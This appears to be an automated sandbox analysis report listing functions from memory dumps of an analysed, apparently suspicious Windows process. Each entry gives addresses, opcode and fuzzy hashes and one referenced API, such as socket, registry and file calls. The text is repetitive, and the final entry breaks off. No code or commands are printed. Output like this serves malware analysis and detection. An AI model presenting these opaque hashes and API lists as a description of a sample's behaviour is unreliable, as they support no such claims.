Opcode ID: 9868eda0d8d06e1f1fdb05850543621a348b31ae4314dbb43f7030e0f5f2e2bc
Instruction ID: e2d0c8368428533a1331ddc72bc1a8d3677125d23d7b737bcac412d60e5bfb57
Opcode Fuzzy Hash: 9868eda0d8d06e1f1fdb05850543621a348b31ae4314dbb43f7030e0f5f2e2bc
Instruction Fuzzy Hash: C632D574A016698FCB64DF64DC48BADBBB2BF49311F5081E6E909A3350DB35AE81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D4C7D, Relevance: 2.0, APIs: 1, Instructions: 476libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b0e41f5623fcb4e4c7165acdbbe8bcaac2963b85dcf7deda30725166f2d2962c
Instruction ID: a37daf2d1e31082215b128b9abd0aada9284b05a2d02abb8d1ff6b70b3103f71
Opcode Fuzzy Hash: b0e41f5623fcb4e4c7165acdbbe8bcaac2963b85dcf7deda30725166f2d2962c
Instruction Fuzzy Hash: 9332D574A016698FCB64DF64DC48BADBBB2BF49311F5081E6E909A3350DB35AE81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D4CD1, Relevance: 2.0, APIs: 1, Instructions: 466libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0c8dfe0b681bd0a42340a37f687ae3ad0cf1f1c5cb95567fcc77143bde8149c1
Instruction ID: b7df9d68b478ccbcd679a496004d638839a2dc23f7045a3c2810d393642808c4
Opcode Fuzzy Hash: 0c8dfe0b681bd0a42340a37f687ae3ad0cf1f1c5cb95567fcc77143bde8149c1
Instruction Fuzzy Hash: D632D674A016698FCB64DF64DC48BADBBB2BF49311F5081E6E909A3350DB356E81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D4D25, Relevance: 2.0, APIs: 1, Instructions: 456libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7e51087fa968c158525c680d2ac76072886ab5499a72a9679fc9b206e3f7fa73
Instruction ID: d8c2fbc0d3a6396cf226386c449065b5afa8500f74bd4a2078486d9b13e96106
Opcode Fuzzy Hash: 7e51087fa968c158525c680d2ac76072886ab5499a72a9679fc9b206e3f7fa73
Instruction Fuzzy Hash: 9E22E674A016298FCB64DF64DC48BADBBB2BF49311F5081E6E909A3350DB356E81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D4D79, Relevance: 1.9, APIs: 1, Instructions: 446libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9395034d8fb5ccc53c0010a18ab0c0cf8f2da7e3c007679b4d11d1fcf4764864
Instruction ID: 6c9690d762821983d56c35740f616d88853e3b7cfe495c7a41cdb2692508fd12
Opcode Fuzzy Hash: 9395034d8fb5ccc53c0010a18ab0c0cf8f2da7e3c007679b4d11d1fcf4764864
Instruction Fuzzy Hash: 7D22E774A016298FCB64DF64DC48BADBBB2BF49312F5085E6E909A3350DB356E81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D4DD0, Relevance: 1.9, APIs: 1, Instructions: 436libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: acfcce4b63282c3cd9ccde95774fc9d8eade6e967798b0ac24ae7f4618bcab4e
Instruction ID: b61e892cbe35749cc5d772bd2ffd41dd3eb21e3061ae7320f8468309c7368a99
Opcode Fuzzy Hash: acfcce4b63282c3cd9ccde95774fc9d8eade6e967798b0ac24ae7f4618bcab4e
Instruction Fuzzy Hash: CD22D674A016698FCB64DF64DC48BADBBB2BF49312F5085E6E809A3350DB356E81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D4E27, Relevance: 1.9, APIs: 1, Instructions: 424libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 571e68d4a010314f7ea526716335ffe3ad4a34e2c9b764a0660c11889e513122
Instruction ID: cbc720d3fb7a527dc8e9381e92a4975e99c2c92831c7edbdfe5bf479b4cdd81e
Opcode Fuzzy Hash: 571e68d4a010314f7ea526716335ffe3ad4a34e2c9b764a0660c11889e513122
Instruction Fuzzy Hash: E522D674A016698FCB64DF64DC48BADBBB2BF49312F5085E6E809A3350DB356E81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D4E72, Relevance: 1.9, APIs: 1, Instructions: 416libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 34c722fa591c160f8695e1e6ec04a7310cb7e7e8a8b27d07558b9511cf62c62d
Instruction ID: 1c1217c5bef6d4a6399a25c8c1211fff72beb223772634d0b0c3158c4856779f
Opcode Fuzzy Hash: 34c722fa591c160f8695e1e6ec04a7310cb7e7e8a8b27d07558b9511cf62c62d
Instruction Fuzzy Hash: D912C674A016698FCB64DF64DC48BADBBB2BF49312F5085E6E809A3350DB356E81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D4EC9, Relevance: 1.9, APIs: 1, Instructions: 406libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2cdd607cc52c3fc4aa09e83de05d29a2c28ac5120d7752a1962f5c91223762af
Instruction ID: 14401706be6176415fe6cc9e40dbc71338614cd09cca00a0cbff54229f7a7ec4
Opcode Fuzzy Hash: 2cdd607cc52c3fc4aa09e83de05d29a2c28ac5120d7752a1962f5c91223762af
Instruction Fuzzy Hash: EB12C774A016698FCB64DF64DC48BADBBB1BF49312F5085E6E809A3350DB356E81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D4F20, Relevance: 1.9, APIs: 1, Instructions: 396libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e361602adcbef9d2b74384d185b48fc2b2858c44d95604f775490ba7323fd3c1
Instruction ID: 9a7fa93a59a0b1a424d0bdee162cfd7297e8d9d3cedf450bce4dedcb6aeb5e6f
Opcode Fuzzy Hash: e361602adcbef9d2b74384d185b48fc2b2858c44d95604f775490ba7323fd3c1
Instruction Fuzzy Hash: AE12C774A016698FCB64DF64DC48BADBBB2BF49312F5085E6E809A3350DB356E81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D4F77, Relevance: 1.9, APIs: 1, Instructions: 384libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: caed81f7800805d77359f3658cde0eb2da344527df7e0152e6aa09be7ac6a66d
Instruction ID: e0553c3f1acfb6cebc79f98e9a25d5e1add55639c2f529f519dc19245e52a545
Opcode Fuzzy Hash: caed81f7800805d77359f3658cde0eb2da344527df7e0152e6aa09be7ac6a66d
Instruction Fuzzy Hash: 5312C774A016698FCB64DF64DC48BADBBB2BF49312F5085E6E809A3350DB356E81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D4FC2, Relevance: 1.9, APIs: 1, Instructions: 376libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 31b7ece21fc4419353224f7fcb25d92317c1b64c2fa1d6ee6077cfeac33770ed
Instruction ID: c3cc34311a52a5d2b2b7127d6b2a5a1ff5cb94a4a0c614af93df6d055e2a4997
Opcode Fuzzy Hash: 31b7ece21fc4419353224f7fcb25d92317c1b64c2fa1d6ee6077cfeac33770ed
Instruction Fuzzy Hash: 9402B674A016698FCB64DF64DC48B9DBBB2BF49312F5085E6E809A3350DB356E81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D5019, Relevance: 1.9, APIs: 1, Instructions: 366libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: be922911d930238b980aa39be9e91c906a25fbf89c2977ef2e73f577abbc9a83
Instruction ID: cc0540ad10c5ff36cab6c20fd8e8e66de5d525274484d5215ac42111db520060
Opcode Fuzzy Hash: be922911d930238b980aa39be9e91c906a25fbf89c2977ef2e73f577abbc9a83
Instruction Fuzzy Hash: 4B02C574A016698FCB64DF64DC48B9DBBB2BF49312F5085E6E809A3350DB35AE81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D507C, Relevance: 1.9, APIs: 1, Instructions: 353libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6c92e76cfc58b8db6b4b36c54dd8e58aa63538a6e90053ebb76c4b45776b62d6
Instruction ID: 3746a0b536ceb1267529e5ac9d1c20f00ec6106b8791e39b66db0cbb70265902
Opcode Fuzzy Hash: 6c92e76cfc58b8db6b4b36c54dd8e58aa63538a6e90053ebb76c4b45776b62d6
Instruction Fuzzy Hash: 4302C674A016698FCB64DF64DC48B9DBBB2BF49312F5085E6E809A3350DB35AE81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D50D3, Relevance: 1.8, APIs: 1, Instructions: 343libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8d696a3289b49e39b8985319226345619f29a78ca05a3917758ad1f1c4a30925
Instruction ID: 9cf92365e286396bc940573f2888bba53ea34e08b0727ac8de5ec9c48feb5041
Opcode Fuzzy Hash: 8d696a3289b49e39b8985319226345619f29a78ca05a3917758ad1f1c4a30925
Instruction Fuzzy Hash: 6EF1D674A01669CFCB64DF64DC48B9DBBB2BF49312F5085E6E809A3250DB35AE81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D5136, Relevance: 1.8, APIs: 1, Instructions: 330libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2ed330adb6f608b2dc0743846791a0bee39e28ff82d4aeb0742f68a3a5061740
Instruction ID: fd68af656f03a8943557ae0a9b186d3a59e1dde78adcd2b848bdea6d5d8c04b5
Opcode Fuzzy Hash: 2ed330adb6f608b2dc0743846791a0bee39e28ff82d4aeb0742f68a3a5061740
Instruction Fuzzy Hash: A4F1D774A01669CFCB64DF64DC48B9DBBB2BF49312F5085E6E809A3250DB35AE81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D518D, Relevance: 1.8, APIs: 1, Instructions: 320libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 38ca03bdd12ca68afa5aeb8c55f06a9a29452691a2a63e1367411050409b772a
Instruction ID: bc24b8b3cd3075e6822bb0c8da038556275f6067508e0f58734c0c090c06f1a2
Opcode Fuzzy Hash: 38ca03bdd12ca68afa5aeb8c55f06a9a29452691a2a63e1367411050409b772a
Instruction Fuzzy Hash: 48F1E674A01629CFCB64DF64DC48B9DBBB2BF49312F5085E6E809A3250DB35AE81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D51E4, Relevance: 1.8, APIs: 1, Instructions: 308libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 58f6bd717882185489d28437700677ead94325ea78c52a9f877874a26b3b5cd0
Instruction ID: c883482edb8f311aefeded9f0a49e4a4596c61fe2f79cdbe6fb39d3b16d864bc
Opcode Fuzzy Hash: 58f6bd717882185489d28437700677ead94325ea78c52a9f877874a26b3b5cd0
Instruction Fuzzy Hash: 4CE1D774A01669CFCB64DF64DC48B9DBBB2BF49302F5085E6E809A7250DB35AE81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D522F, Relevance: 1.8, APIs: 1, Instructions: 300libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: aaa6d47f40e70788ab5a42760973ffa9277828330d7fe4f6ccf90246911db7c0
Instruction ID: 7a5ec5706e5d78ccf8f7375c1d066626c9d90b4269b6ab076e1e7638fe7a7140
Opcode Fuzzy Hash: aaa6d47f40e70788ab5a42760973ffa9277828330d7fe4f6ccf90246911db7c0
Instruction Fuzzy Hash: 15E1D674A01669CFCB64DF64DC48B9DBBB2BF49302F5085E6E409A7250DB35AE81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D5286, Relevance: 1.8, APIs: 1, Instructions: 290libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: dff0d54275f479a4938c24cd8e0ab05915897e06809e6210a763f8a7d1e3877b
Instruction ID: 4551e1f4c3558c3839d31bc543bc5a7ffc830e290a89631d9132dc706ae576ae
Opcode Fuzzy Hash: dff0d54275f479a4938c24cd8e0ab05915897e06809e6210a763f8a7d1e3877b
Instruction Fuzzy Hash: F0D1D474A01629CFDB64DF64DC48B9DBBB2BF49302F5085E6E409A7260DB35AE81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D52DD, Relevance: 1.8, APIs: 1, Instructions: 280libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0d3baa4b0c5251281e85c6bf71a93e74c4a3985110598dbdeea59f6b0da007e0
Instruction ID: 238701d379c1622bc21fd30469cdfc1b0a486f0e166f0f366cb0bc96e48d5191
Opcode Fuzzy Hash: 0d3baa4b0c5251281e85c6bf71a93e74c4a3985110598dbdeea59f6b0da007e0
Instruction Fuzzy Hash: D0D1D474A01629CFCB64DF64DC58B9DBBB2BF49302F5085E6E409A7260DB35AE81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 049D5334, Relevance: 1.8, APIs: 1, Instructions: 270libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: baadf93bb83c8046942dd40b8c1b558817eee2f675bd932c9fb21461102c183c
Instruction ID: df24a6e6f424fc72f24e2d99d900941acb9a03e9410d25054f9c9a596fb47057
Opcode Fuzzy Hash: baadf93bb83c8046942dd40b8c1b558817eee2f675bd932c9fb21461102c183c
Instruction Fuzzy Hash: 51D1E474A01629CFDB64DF64DC48B9DBBB2BF89306F1085E5E409A7260DB34AE85CF10

Uniqueness

Uniqueness Score: -1.00%

Function 049D538B, Relevance: 1.8, APIs: 1, Instructions: 260libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c631a933e8efe2bad71f3af322193cfe40433202b182a1c20f768f86e3c408a4
Instruction ID: 428a068287060916a1fb5578a6d7bf408fd79727c731844d49d489f566aa3d3c
Opcode Fuzzy Hash: c631a933e8efe2bad71f3af322193cfe40433202b182a1c20f768f86e3c408a4
Instruction Fuzzy Hash: B8C1D474A016298FDB64DF64DC58B9DBBB2BF89306F1085E5E409A7260DA35AE81CF10

Uniqueness

Uniqueness Score: -1.00%

Function 049D53E2, Relevance: 1.8, APIs: 1, Instructions: 250libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6874662a272fe44ba55c082c7781b5f5ec5b2b6fd7c8a398fbad42c7db36c605
Instruction ID: ea8ce5aeb89b452361b8a09ed98927c989f15a44583686819781f520a3ab0dfb
Opcode Fuzzy Hash: 6874662a272fe44ba55c082c7781b5f5ec5b2b6fd7c8a398fbad42c7db36c605
Instruction Fuzzy Hash: 73C1E574E01629CFDB64DF64DC58B9DBBB2BF89306F1085E5E40AA7260DA359E81CF10

Uniqueness

Uniqueness Score: -1.00%

Function 049D5439, Relevance: 1.7, APIs: 1, Instructions: 238libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049D558B

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4e875c09034a97994e9fa35cbcb5b276ad0238e3952fbb0f86f742c2bad2b32f
Instruction ID: ac60302b7e48d31329cbf1f570d08e87fc789a20b1315798b9bc813dd71b9478
Opcode Fuzzy Hash: 4e875c09034a97994e9fa35cbcb5b276ad0238e3952fbb0f86f742c2bad2b32f
Instruction Fuzzy Hash: 7AB1E674E00229DFDB64DF64DC58B9DBBB2BF89306F1085E5E40AA7264DA349E81CF10

Uniqueness

Uniqueness Score: -1.00%

Function 05423A01, Relevance: 1.6, APIs: 1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f17de76e50972f36de1fdd22a6116057622fdc3edcda36ef33d3b7467444c3c
Instruction ID: 1ff546e4f24f5aa1e7c276c53c19c60e019b725b07888ff3038a596fc81de32e
Opcode Fuzzy Hash: 7f17de76e50972f36de1fdd22a6116057622fdc3edcda36ef33d3b7467444c3c
Instruction Fuzzy Hash: F241A16540E3C06FC3138B659C65B52BF74AF83620F1D81DFD9889F193D126A809C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 00C0A90D, Relevance: 1.6, APIs: 1, Instructions: 126registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,00000E80), ref: 00C0AA05

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: c924fbab921bd31ee86dc54c60ef85299a02cd3d2747d9408effff46a14b330d
Instruction ID: 60e2a6606846b8055dbc8f49ea96b24313bc6a1e676e08d00de9f6587e6e3cd9
Opcode Fuzzy Hash: c924fbab921bd31ee86dc54c60ef85299a02cd3d2747d9408effff46a14b330d
Instruction Fuzzy Hash: 40415B7150D3C05FE7138B248C65AA6BFB8AF03210F0A85DBE984CF1A3D6289909C772

Uniqueness

Uniqueness Score: -1.00%

Function 05422265, Relevance: 1.6, APIs: 1, Instructions: 107networkCOMMON

Download Yara Rule

APIs

WSASocketW.WS2_32(?,?,?,?,?), ref: 0542232E

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: Socket
String ID:
API String ID: 38366605-0
Opcode ID: 2187f4f798b1d993c7588665dbf285cc6d5375213560b1b1e88c8778f70095db
Instruction ID: 091e8152d427e9e9635a0ce88768feb795bb38e8c9101be6595d996b0000e50b
Opcode Fuzzy Hash: 2187f4f798b1d993c7588665dbf285cc6d5375213560b1b1e88c8778f70095db
Instruction Fuzzy Hash: F5416D7540D3C0AFD7138B659C55BA6BFB4EF07210F0985DBE9859F1A3C265A808CB62

Uniqueness

Uniqueness Score: -1.00%

Function 05421C82, Relevance: 1.6, APIs: 1, Instructions: 104fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?,?), ref: 05421D41

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 75ce9ab740be30ec5386b19185d0cc4183db0f6b4c701d04aa7af4d2d15704e2
Instruction ID: 8ff6ac50eb1779ae6d766b88a3497af6e6c5e98fd4b03f5aaf56d14cd735d8b5
Opcode Fuzzy Hash: 75ce9ab740be30ec5386b19185d0cc4183db0f6b4c701d04aa7af4d2d15704e2
Instruction Fuzzy Hash: 58319071509780AFE722CF65DC45FA2BFE8EF06310F08849EE9858B252D225E909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 05422C38, Relevance: 1.6, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

shutdown.WS2_32(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 05422CCC

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: shutdown
String ID:
API String ID: 2510479042-0
Opcode ID: 74e02ae5c2ae8caa11e49fa3d9528fa64b08e23c4485f1b9f768ef66ecbf1ec1
Instruction ID: 8ac5bd4e3b33c9e141240ad5d46199c52587879195b1b24ae8334169317a23a0
Opcode Fuzzy Hash: 74e02ae5c2ae8caa11e49fa3d9528fa64b08e23c4485f1b9f768ef66ecbf1ec1
Instruction Fuzzy Hash: 553108754083846FE712CB14DD45FA6BFA8FF46320F0881EBED489B252D275A509CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 05422EE3, Relevance: 1.6, APIs: 1, Instructions: 101COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,00000E80), ref: 05422FBB

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: getaddrinfo
String ID:
API String ID: 300660673-0
Opcode ID: b884346812b9a2ee9129d12e3fa8016a5e278c12da2db25cf4c90db9212b8781
Instruction ID: 30047ed39459c0112e26799041a2ff1e68d067694781197fe1e9f219a12355e8
Opcode Fuzzy Hash: b884346812b9a2ee9129d12e3fa8016a5e278c12da2db25cf4c90db9212b8781
Instruction Fuzzy Hash: D931D4B1004344AFE7229F64CC45FA7BFACEF05310F14859AEA849F192D379A949CB71

Uniqueness

Uniqueness Score: -1.00%

Function 05423199, Relevance: 1.6, APIs: 1, Instructions: 92networkCOMMON

Download Yara Rule

APIs

WSAIoctl.WS2_32(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 0542324D

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: Ioctl
String ID:
API String ID: 3041054344-0
Opcode ID: 89cfc35110ea6748bfbe67d309b795752c8cfdcb48ddaa2f27465b472726fbdc
Instruction ID: a34164a9d28a1d800101bc01eb1fec28495c40ae88f701dca3cf98e434dd3167
Opcode Fuzzy Hash: 89cfc35110ea6748bfbe67d309b795752c8cfdcb48ddaa2f27465b472726fbdc
Instruction Fuzzy Hash: 9F318371409780AFE722CF55DD44FA2BFB8FF06310F08899AE9859B162D324E909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 00C0A47A, Relevance: 1.6, APIs: 1, Instructions: 90fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNELBASE(?,00000E80,?,?), ref: 00C0A522

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 127ac1a934ab866c3dd0823e27e3c21903180f4d77ed49a8ef17c5d6d88951f2
Instruction ID: 7d437df5a4f5cd86b831e73a2460c75c151fbfeb0c6415b30b696d722595c154
Opcode Fuzzy Hash: 127ac1a934ab866c3dd0823e27e3c21903180f4d77ed49a8ef17c5d6d88951f2
Instruction Fuzzy Hash: B931BF7540E3C05FD7138B658C65A65BFB4EF43610F0A81CBD884CF1A3D229A909C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 054225F4, Relevance: 1.6, APIs: 1, Instructions: 89COMMON

Download Yara Rule

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(?,00000E80), ref: 0542268B

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: DescriptorSecurity$ConvertString
String ID:
API String ID: 3907675253-0
Opcode ID: 02b389c097d4bb1e93ed8eac962f8f2805aeb2c81b82a177402006c6486e5a72
Instruction ID: 76738038c5ff416155a9b5fb13f86899ada3d0c75e8627ec588c7135160016f1
Opcode Fuzzy Hash: 02b389c097d4bb1e93ed8eac962f8f2805aeb2c81b82a177402006c6486e5a72
Instruction Fuzzy Hash: A231C5725043456FE722CF25DC45FA7BFACEF01310F0885AAE984DB152D264E808CB71

Uniqueness

Uniqueness Score: -1.00%

Function 00C0AA4D, Relevance: 1.6, APIs: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 00C0AB08

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: ddb809e98edd31995ec024fb9caf77aadf01ab68874c882a8fad40997ffaa94c
Instruction ID: a8db06008f52ce7eee80b100890174fa64891071c5bab21032a5797c1bc00339
Opcode Fuzzy Hash: ddb809e98edd31995ec024fb9caf77aadf01ab68874c882a8fad40997ffaa94c
Instruction Fuzzy Hash: 1631A4711093845FE722CF25CD45FA6BFACEF06310F08859AE985DB193D264E948CB72

Uniqueness

Uniqueness Score: -1.00%

Function 054224F6, Relevance: 1.6, APIs: 1, Instructions: 87registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 054225A0

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 410879ed972655d6b14a7ba8fa212c72524a844bce663f9a67fdaf613dfcd22c
Instruction ID: 79926949a1c9767443e8c44c0ae4b99405e7fffe3cbb4fea3c8d835d869995dc
